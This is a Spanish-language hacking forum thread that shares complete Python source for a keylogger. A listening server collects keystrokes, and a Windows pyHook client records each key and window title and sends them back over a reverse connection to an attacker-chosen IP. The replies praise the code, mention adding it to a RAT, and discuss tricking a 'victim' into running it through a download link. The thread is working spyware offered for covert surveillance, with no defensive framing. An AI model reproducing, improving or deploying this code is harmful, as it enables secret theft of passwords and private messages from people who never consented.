Keylogger v1.1 [By Expermicid]

Iniciado por Expermicid, Enero 17, 2013, 02:26:47 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Hola a todos! Aqui vengo a dejar una mejora del keylogger con algunos cambio y algunas opciones agregadas.

Primero que nada cambie la forma de conexion, haciendolo de conexion inversa. Siendo la victima quien se conecte a nosotros y no tener que poner la IP para conectarse.
Agregue un menu para hacerlo mas vistoso, poniendole algunas opciones basicas. Y tambien agregue la posibilidad de ver la captura del teclado desde la terminal o tambien ir guardandolo es un archivo plano.

Tambien habia agregados hilos en el servidor para poder ir captando las teclas que recibe y tener la posibilidad de alguna forma de poder cancelar el enlace, pero quite los hilos y lo solucione con la funcion fork() que crea procesos hijos. Con lo cual pude obtener lo que deseaba.

Y si no me olvido de nada mas, como ultimo y se ve en el video, ademas de capturar las teclas tambien envia las ventanas en que son presionada las teclas. :)

Codigos:

Servidor:

Código: python
#!/usr/bin/env python
# -*- coding: utf-8 -*-

##########################################
##                                      ##
##       Keylogger v1.1                 ##
##       By Expermicid                  ##
## Fecha inicio : 16/10/12        ##
## Fecha fin : 18/10/12           ##
## Servidor                       ##
##                                      ##
##########################################

import socket
import os, sys

def ImprimirCabecera() :
print '              ####################################################'
print '              ####                                            ####'
print '              ####      Keylogger v1.1 --- By Expermicid      ####'
print '              ####                                            ####'
print '              ####################################################'

def CrearArchivo() :
archivo=open('Logs.txt','w')
archivo.close()

def EscribirArchivo(texto) :
archivo=open('Logs.txt','a')
    archivo.write(texto)
    archivo.close()

def Capturar(s, sc, opc2) :
sys.stdout.write(os.popen('clear').read())
ImprimirCabecera()
print '              ####              CAPTANDO TECLAS               ####'
print '              ####################################################\n'
print '--------------------------------------------------------------------------------\n'
if opc2 == '3' :
CrearArchivo()
EscribirArchivo('Logs de Keylogger v1.1 --- By Expermicid\n')
texto = ''
nombreWindows = ''
while True :
try :
recibido = sc.recv(1024)
except :
pass
else :
if len(recibido) > 0 :
sys.stdout.write(os.popen('clear').read())
ImprimirCabecera()
print '              ####              CAPTANDO TECLAS               ####'
print '              ####################################################\n'
print '--------------------------------------------------------------------------------\n'
if recibido[0] == ':' :
letra = ':'
window = recibido[2:]
else :
letra = recibido.split(':')[0]
window = recibido.split(':')[1]
if opc2 == '1' :
if window != nombreWindows :
texto += '\n\n***' + window + '***\n\n'
nombreWindows = window
texto += letra
print texto
elif opc2 == '2' :
if window != nombreWindows :
EscribirArchivo('\n\n***' + window + '***\n\n')
nombreWindows = window
EscribirArchivo(letra)
elif opc2 == '3' :
if window != nombreWindows :
texto += '\n\n***' + window + '***\n\n'
EscribirArchivo('\n\n***' + window + '***\n\n')
nombreWindows = window
texto += letra
print texto
EscribirArchivo(letra)

def Desconectar(s, sc) :
while True :
comando = raw_input()
if comando == 'Q' or comando == 'q' :
sc.close()
s.close() 
break
Main()

def Main() :
opc1 = ''
while opc1 != '1' and opc1 != '2' :
sys.stdout.write(os.popen('clear').read())
ImprimirCabecera()
print '              ####                    MENU                    ####'
print '              ####################################################'
print '              #### 1) ver si hay victimas conectadas          ####'
print '              #### 2) salir                                   ####'
print '              ####################################################\n'
opc1 = raw_input('>>> ')
if opc1 == '2' :
sys.stdout.write(os.popen('clear').read())
ImprimirCabecera()
print '              ####                  DESPEDIDA                 ####'
print '              ####################################################'
print '              ####       Gracias por usar mi keylogger        ####'
print '              ####            Saludos, Expermicid             ####'
print '              ####################################################\n'
raw_input()
elif opc1 == '1' :
sys.stdout.write(os.popen('clear').read())
ImprimirCabecera()
print '              ####              ESPERANDO VICTIMA             ####'
print '              ####################################################\n'
host = ''
port = 5000
try :
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(3)
sc, addr = s.accept()
except :
sys.stdout.write(os.popen('clear').read())
ImprimirCabecera()
print '              ####                  CONFLICTO                 ####'
print '              ####################################################'
print '              ####          Ocurrio algun problema :(         ####'
print '              ####################################################\n'
raw_input()
else :
sys.stdout.write(os.popen('clear').read())
ImprimirCabecera()
print '              ####                   VICTIMA                  ####'
print '              ####################################################\n'
print 'Se conecto una victima :)' #sc.getpeername()
raw_input()
opc2 = ''
while opc2 != '1' and opc2 != '2' and opc2 != '3' :
sys.stdout.write(os.popen('clear').read())
ImprimirCabecera()
print '              ####            CONEXION CORRECTA :)            ####'
print '              ####################################################'
print '              ####                  OPCIONES                  ####'
print '              ####################################################'
print '              #### 1) ver teclas en consola                   ####'
print '              #### 2) guardar teclas en archivo               ####'
print '              #### 3) ver en consola y guardar en archivo     ####'
print '              ####################################################\n'
opc2 = raw_input('>>> ')
child_pid = os.fork()
    if child_pid == 0 :
        Capturar(s,sc,opc2)
    else :
        Desconectar(s,sc)
return

Main()


Cliente:

Código: python
# -*- coding: cp1252 -*-

##########################################
##                                      ##
##       Keylogger v1.1                 ##
##       By Expermicid                  ##
## Fecha inicio : 16/10/12        ##
## Fecha fin : 18/10/12           ##
## Cliente                        ##
##                                      ##
##########################################

import socket
import pythoncom, pyHook

def OnKeyboardEvent(event) :
# letras minusculas y letras mayusculas
        if (event.Ascii > 64 and event.Ascii < 91) or (event.Ascii > 96 and event.Ascii < 123) :
                letra = chr(event.Ascii)
        # numeros
        elif event.Ascii > 47 and event.Ascii < 58 :
                letra = chr(event.Ascii)
        # F1 .. F12
        elif event.KeyID > 111 and event.KeyID < 124 and event.Ascii == 0 :
                letra = ' ['+event.Key+'] '
        # Espacio
        elif event.Ascii == 32 :
                letra = chr(event.Ascii)
        # Enter
        elif event.Ascii == 13 :
                letra = '\n'
        # BackSpace
        elif event.Ascii == 8 :
                letra = '[BackSpace]'
        # Escape
        elif event.Ascii == 27 :
                letra = '[Escape]'
        # Tab
        elif event.Ascii == 9 :
                letra = chr(event.Ascii)
        # Flechas
        elif event.KeyID > 36 and event.KeyID < 41 and event.Ascii == 0 :
                letra = '['+event.Key+']'
        # Bloq Mayus
        elif event.KeyID == 20 and event.Ascii == 0 :
                letra = '[BloqMayus]'
        # caracteres
        elif event.Ascii > 32 and event.Ascii < 48 :
                letra = chr(event.Ascii)
        # caracteres
        elif event.Ascii > 57 and event.Ascii < 65 :
                letra = chr(event.Ascii)
        # caracteres
        elif event.Ascii > 90 and event.Ascii < 97 :
                letra = chr(event.Ascii)
        # caracteres
        elif event.Ascii > 122 and event.Ascii < 127 :
                letra = chr(event.Ascii)
        # Insetar / Delete
        elif event.KeyID > 44 and event.KeyID < 47 and event.Ascii == 0 :
                letra = ' ['+event.Key+'] '
        # ascii extendido
        elif event.Ascii > 127 and event.Ascii < 255 :
                letra = chr(event.Ascii)
        # Flechas
        elif event.KeyID > 159 and event.KeyID < 166 and event.Ascii == 0 :
                letra = '['+event.Key+']'
        # Win / Apps
        elif (event.KeyID == 91 or event.KeyID == 93) and event.Ascii == 0 :
                letra = '['+event.Key+']'
        # Inicio-Fin / RePag-AvPag
        elif event.KeyID > 32 and event.KeyID < 37 and event.Ascii == 0 :
                letra = '['+event.Key+']'
        # caracter Ž
        elif event.KeyID == 222 and event.Ascii == 0 :
                letra = '´'
        try :
                s.send(letra+':'+event.WindowName)
        except :
                pass

return True
               
try:
        host = 'Ip_a_Conectar' # sustituir Ip_a_Conectar por la que corresponda
        port = 5000
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
except :
        pass
else:
        hm = pyHook.HookManager()
        hm.KeyDown = OnKeyboardEvent
        hm.HookKeyboard()
        pythoncom.PumpMessages()


NOTA: Si ven en el cliente van a necesitar poner la ip a la que se tiene que conectar.
NOTA 2: En el servidor, cuando se conecta una victima y yo imprimo avisando lo ocurrido como comentario puse 'sc.getpeername()', si ustedes ponen que se imprima eso, van a obtener los datos de la victima que se conecto como la IP.

Video:



Saludos


Excelente aporte! Yo estoy escribiendo un RAT en python. Voy a tener en cuenta este código para incluirlo como una función más.

Saludos!
WhiZ



Hola amigo, soy un novato en todo aspecto, no se usar ++C, solo se usar PAWNO (Simple) y no sé como convertir estos cogidos a un programa ejecutable :s una duda, esto se puede poner en un link de descargar para la victima, este ejecuta el archivo ya cayó en la trampa??? o no es así? :s

Y que es eso de la IP a conectar? saludos y espero respuestas, gracias.  ???

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola amigo, soy un novato en todo aspecto, no se usar ++C, solo se usar PAWNO (Simple) y no sé como convertir estos cogidos a un programa ejecutable :s una duda, esto se puede poner en un link de descargar para la victima, este ejecuta el archivo ya cayó en la trampa??? o no es así? :s

Y que es eso de la IP a conectar? saludos y espero respuestas, gracias.  ???

El keylogger está codeado en Python que es un lenguaje interpretado así que para que el keylogger funcione, la víctima deberá tener python instalado, o puedes No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Acerca de la Ip, el cliente captura lo que presiona la víctima y lo envía al servidor (donde ves lo que presionó la víctima) pero para que se pueda establecer la conexión, necesitas "decirle" al cliente la dirección donde está escuchando el servidor (La ip de la máquina donde tienes escuchando el servidor). Busca acerca de aplicaciones cliente servidor para que te aclares más.

Saludos!







No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Excelente aporte, muy bueno, gracias por compartir...

Saludos!!!  ;D

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

El keylogger está codeado en Python que es un lenguaje interpretado así que para que el keylogger funcione, la víctima deberá tener python instalado, o puedes No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Concuerdo con 11Sep, aunque eso no lo hace malo ni nada de eso un buen aporte, yo por ahora estoy ocupando el syslogger ya que como no tengo acceso al router no puedo ocupar un RAT, por eso me fio en la opcion smtp. Buen aporte  ;D

Muy buen code, te quedo muy limpio  ;D

-Saludos-

Buen material, pero el gran problema que tienen los keylogger hechos con las bibliotecas pyHook y pythoncom es que te bloquea muchos caracteres. Es decir, si queres colocar una tilde no te va a dejar, y tampoco te deja usar ALT + COMBINACION_DE_NUMPAD. Te recomendaria utilizar ctypes.

Saludos